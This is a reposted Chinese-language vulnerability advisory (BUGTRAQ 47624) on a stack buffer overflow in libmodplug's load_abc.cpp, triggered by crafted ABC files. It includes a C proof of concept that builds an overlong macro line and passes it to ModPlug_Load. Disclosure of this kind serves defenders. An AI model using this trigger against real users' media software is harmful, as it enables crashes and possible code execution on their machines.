libmodplug "load_abc.cpp"远程栈缓冲区溢出漏洞

发布于 2022-10-15 07:44:09 字数 3180 浏览 17 评论 0

libmodplug "load_abc.cpp"远程栈缓冲区溢出漏洞

发布日期:2011-04-28
更新日期:2011-05-04

受影响系统:
libmodplug libmodplug 0.8.8 2
libmodplug libmodplug 0.8.8 1
libmodplug libmodplug 0.8.7
libmodplug libmodplug 0.8.7
libmodplug libmodplug 0.8.6
libmodplug libmodplug 0.8.4
libmodplug libmodplug 0.8
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 47624

Libmodplug是用于播放mod类音乐格式的开源函数库。

libmodplug "load_abc.cpp"在实现上存在远程栈缓冲区溢出漏洞,远程攻击者可利用此漏洞以使用受影响库的应用程序用户权限执行任意代码,造成拒绝服务。

此漏洞源于src/load_abc.cpp "abc_new_macro()"和"abc_new_umacro()"函数中的边界错误,通过诱使用户打开特制的ABC文件造成栈缓冲区溢出。

<*来源:epiphant
  *>

测试方法:
--------------------------------------------------------------------------------
警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

epiphant ()提供了如下测试方法:

  1. #include <libmodplug/modplug.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. /*
  5. libmodplug <= 0.8.8.2 .abc stack-based buffer overflow poc
  6. http://modplug-xmms.sourceforge.net/
  7. by: epiphant
  8. this exploits one of many overflows in load_abc.cpp lol
  9. vlc media player uses libmodplug
  10. greets: defrost, babi, ming_wisher, emel1a, a.v., krs
  11. date: 28 april 2011
  12. tested on: centos 5.6
  13. */
  14. int main(void)
  15. {
  16.   char test[512] = "X: 1\nU: ";
  17.   unsigned int i;
  18.   i = strlen(test);
  19.   while (i < 278)
  20.     test[i++] = 'Q';
  21.   test[i++] = '1' + 32;
  22.   test[i++] = '3';
  23.   test[i++] = '3';
  24.   test[i++] = '4';
  25.   while (i < 286)
  26.     test[i++] = 'A';
  27.   test[i++] = '\n';
  28.   test[i] = '\0';
  29.   strcat(test, "T: Here Without You (Transcribed by: Bungee)\n");
  30.   strcat(test, "Z: 3 Doors Down\n");
  31.   strcat(test, "L: 1/4\n");
  32.   strcat(test, "Q: 108\n");
  33.   strcat(test, "K: C\n\n");
  34.   strcat(test, "[A,3A3/4] [E9/8z3/8] A3/8 [c9/8z3/8] [A9/8z3/8] [E3/4z3/8]\n");
  35.   i = strlen(test);
  36.   ModPlug_Load(test, i);
  37.   return 0;
  38. }

复制代码建议:
--------------------------------------------------------------------------------
厂商补丁:

libmodplug
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://modplug-xmms.sourceforge.net/

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文